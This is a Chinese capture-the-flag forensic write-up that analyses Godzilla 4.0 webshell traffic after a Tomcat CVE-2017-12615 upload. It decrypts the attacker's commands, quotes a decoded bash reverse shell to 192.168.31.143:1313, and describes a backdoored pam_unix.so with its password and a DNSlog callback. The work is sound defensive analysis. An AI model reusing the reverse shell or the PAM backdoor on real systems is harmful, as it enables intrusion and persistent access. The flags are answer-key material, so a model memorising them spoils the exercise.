第六章-哥斯拉4.0流量分析
第六章-哥斯拉4.0流量分析
1、黑客的IP是什么?
我们打开wireshark,哥斯拉的流量都是用POST的传输的,所以什么直接抓取post流量包
http.request.method=="POST"

发现post的流量包都集中在hello.jsp这个文件,我们再搜索一下这个文件
http contains "/hello.jsp"

这里有个hello.jsp的文件打开看看

典型的哥斯拉流量包的特征至此我们确认黑客ip
flag{192.168.31.190}
2.黑客是通过什么漏洞进入服务器的?(提交CVE编号)
我们继续分析流量包

在这个流量包的末尾这里发现了中间件为Apache Tomcat/8.5.19,这里又是用的put方式讲文件上传,所以我猜黑客是使用了Tomcat/8.5.19文件上传漏洞
flag{CVE-2017-12615}


3.黑客上传的木马文件名是什么?(提交文件名)
根据前面第一题可以知道文件名为hello.jsp
flag{hello.jsp}
4.黑客上传的木马连接密码是什么?
根据第一题可知
flag{7f0e6f}
5.黑客上传的木马解密密钥是什么?
根据第一题可知
flag{1710acba6220f62b}
6.黑客连接webshell后执行的第一条命令是什么?
我们继续分析流量包,在长度为313这里这个流量包点击进去感觉有点不对劲,返回包的内容比较少怀疑是执行了命令,讲请求包的加密内容丢到工具箱进行分析


解密出来是命令执行,可以看到第一条的命令

cmdLine sh -c "cd "/";uname -r" 2>&1arg-3 2>&1executableFile shexecutableArgs -c "cd "/";uname -r" 2>&1arg-0 shargsCount 4arg-1 -carg-2 cd "/";uname -rmethodName execCommand
命令结构解析
-
sh -c "cd "/";uname -r"-
sh -c:以Shell解释器执行指定命令。 -
"cd "/";uname -r"cd /:切换到根目录(/)。;uname -r:执行uname -r命令,获取系统内核版本信息。
-
2>&1
- 将标准错误输出(
2)重定向到标准输出(1),合并输出和错误信息。 - 用途:捕获命令执行的完整输出(包括错误信息),便于调试或日志记录
我们再把返回包丢进去解密即可确定黑客执行的命令是uname -r
flag{uname -r}

7.黑客连接webshell时查询当前shell的权限是什么?
我们继续分析流量包,在305这个数据包里面解密返回包内容,可以看到用户拿到shell后执行了id命令,返回当前用户权限
flag{root}



8.黑客利用webshell执行命令查询服务器Linux系统发行版本是什么?
继续分析流量包,在长度329流量包这里,讲该流量包解密


黑客在这里执行了命令cat /etc/os-release命令,这个命令是显示发行版名称和版本的我们讲这里的返回包进行解密

可以看到返回包返回的发发行版本,拿到flag

flag{Debian GNU/Linux 10 (buster)}
9.黑客利用webshell执行命令还查询并过滤了什么?(提交整条执行成功的命令)
继续分析流量包,在长度为323这里讲流量包进行解密

可以看到黑客在这里明显使用了grep命令,
sh -c "cd /; rpm -qa | grep pam" 2>&1
sh -c "...":使用shshell执行一个命令。cd /:切换到根目录。rpm -qa:列出所有已安装的RPM包。grep pam:过滤出包含pam的包名。2>&1:将标准错误输出重定向到标准输出,这样所有的输出(包括错误信息)都会被捕捉到。


简单分析;
-
rpm: not found:表示系统中没有安装 rpm 命令,或者该命令不可用。rpm 是 Red Hat 系列 Linux 发行版中用于管理软件包的工具。
-
2>&1: 1: 2>&1::这部分似乎是命令执行时的错误输出,但语法不太正确,可能是命令执行时的格式问题,导致输出混乱。
我讲这条命令没有成功执行不是我们想要的结果,继续分析流量包


cmdLine 0 sh -c "cd "/";dpkg -l libpam-modules:amd64" 2>&1arg-3 2>&1executableFile shexecutableArgs - -c "cd "/";dpkg -l libpam-modules:amd64" 2>&1arg-0 shargsCount 4arg-1 -carg-2 # cd "/";dpkg -l libpam-modules:amd64methodName execCommand
- 命令结构:
sh -c "cd "/";dpkg -l libpam-modules:amd64" 2>&1sh -c:使用 shell 来执行命令。cd "/":切换到根目录,但在这个上下文中没有实际效果。dpkg -l libpam-modules:amd64:查询安装的libpam-modules包,特定于 amd64 架构。2>&1:将标准错误输出重定向到标准输出,以捕获所有输出信息。
- 参数和方法:
arg-0 sh:表示命令的第一个参数是sh。arg-1 -c:表示使用-c选项来执行字符串中的命令。arg-2 cd "/";dpkg -l libpam-modules:amd64":表示要执行的具体命令。methodName execCommand:表示这是一个执行命令的方法调用。
- 命令目的:黑客通过这个命令检查目标系统中是否安装了
libpam-modules包,该包与 PAM(可插入式认证模块)相关,负责系统的身份验证和安全管理。通过查询该包的状态和版本信息,黑客可以评估系统的安全性。
我们继续对返回包进行解析

最后的最后黑客成功“dpkg -l libpam-modules:amd64”也成功返回了“pam版本”将这段命令提取即可拿到flag
flag{dpkg -l libpam-modules:amd64}
10.黑客留下后门的反连的IP和PORT是什么?(IP:PORT)
这个时候分析流量包就要着重看看,解密后的流量包里面是否含有反弹命令了
继续一个一个找


讲长度为413这里,讲该流量包进行解密发现,这里解完密后依旧还有base64加密,而且这个格式像反弹命令讲加密的地方拿去解码

可以确定黑客执行了反弹命令,这个命令 /bin/bash -i >& /dev/tcp/192.168.31.143/1313 0>&1 是一个经典的反向 shell 命令,它允许攻击者在目标系统上获得一个交互式的 shell
execCommand方法在这个例子中被用来执行一个复杂的命令,该命令通过 Base64 编码隐藏了其真实意图。解码后的命令是一个反向 shell,它会连接到指定的 IP 地址和端口,并提供一个交互式的 shell,允许攻击者远程控制目标系统
flag{192.168.31.143:1313}
11.黑客通过什么文件留下了后门?
也是解密了好几条,在长度为1295这里一点进去一大串的加密内容,讲这段加密解密即可看到黑客在什么目录下面创建了后面
flag{pam_unix.so}
文件路径:/tmp/pam_unix.so
- /tmp 目录通常用于存储临时文件,黑客选择这个目录可能是为了避开监控,因为很多系统管理员不会频繁检查该目录。
- pam_unix.so 是一个常见的动态链接库文件,通常与 PAM(可插入式认证模块)相关联。这个文件名暗示了它可能涉及系统的身份验证。



这里直接对黑客的ip和端口进行过滤流量也能看到黑客操作的文件

12.黑客设置的后门密码是什么?
通过上题我们知道黑客存放的后门文件是pam_unix.sofileValue,我们直接从根目录进行搜索
find / -name "pam_unix.so"

找到存放地址,追踪过去,来到当前目录,我这里使用的finalshell,所以直接可以下载


现在导出后门文件了,我们使用file命令看看文件类型,file 命令用于确定文件的类型。它通过检查文件的内容而不仅仅是文件的扩展名来识别文件类型。
file pam_unix.so

pam_unix.so 是一个为 64 位 x86-64 架构编写的动态链接共享库,遵循 ELF 格式,包含调试信息且没有剥离。它是 PAM(可插入式认证模块)的一部分,用于处理基于 UNIX 的身份验证
这里我们涉及到一些逆向知识,我们使用逆向工具——64位的IDA进行分析
pam_sm_authenticate 是 PAM 框架中的关键函数,负责用户身份验证(要的就是这个验证“密码”)。与其他 PAM 函数相比,它专注于验证用户凭证,确保只有合法用户可以访问系统或服务

flag{XJ@123}
13.黑客的恶意dnslog服务器地址是什么?
在密码上面就能看到一条dnslog的地址
%s.%s c0ee2ad2d8.ipv6.xxx.eu.org.

代码中使用 snprintf 函数构造了一个 DNS 名称,结合了 name 和 p 变量。虽然具体的 name 和 p 值没有给出,但可以确定最终的地址是以 c0ee2ad2d8.ipv6.xxx.eu.org. 结尾目的是监控用户活动并建立与攻击者的联系

浙公网安备 33010602011771号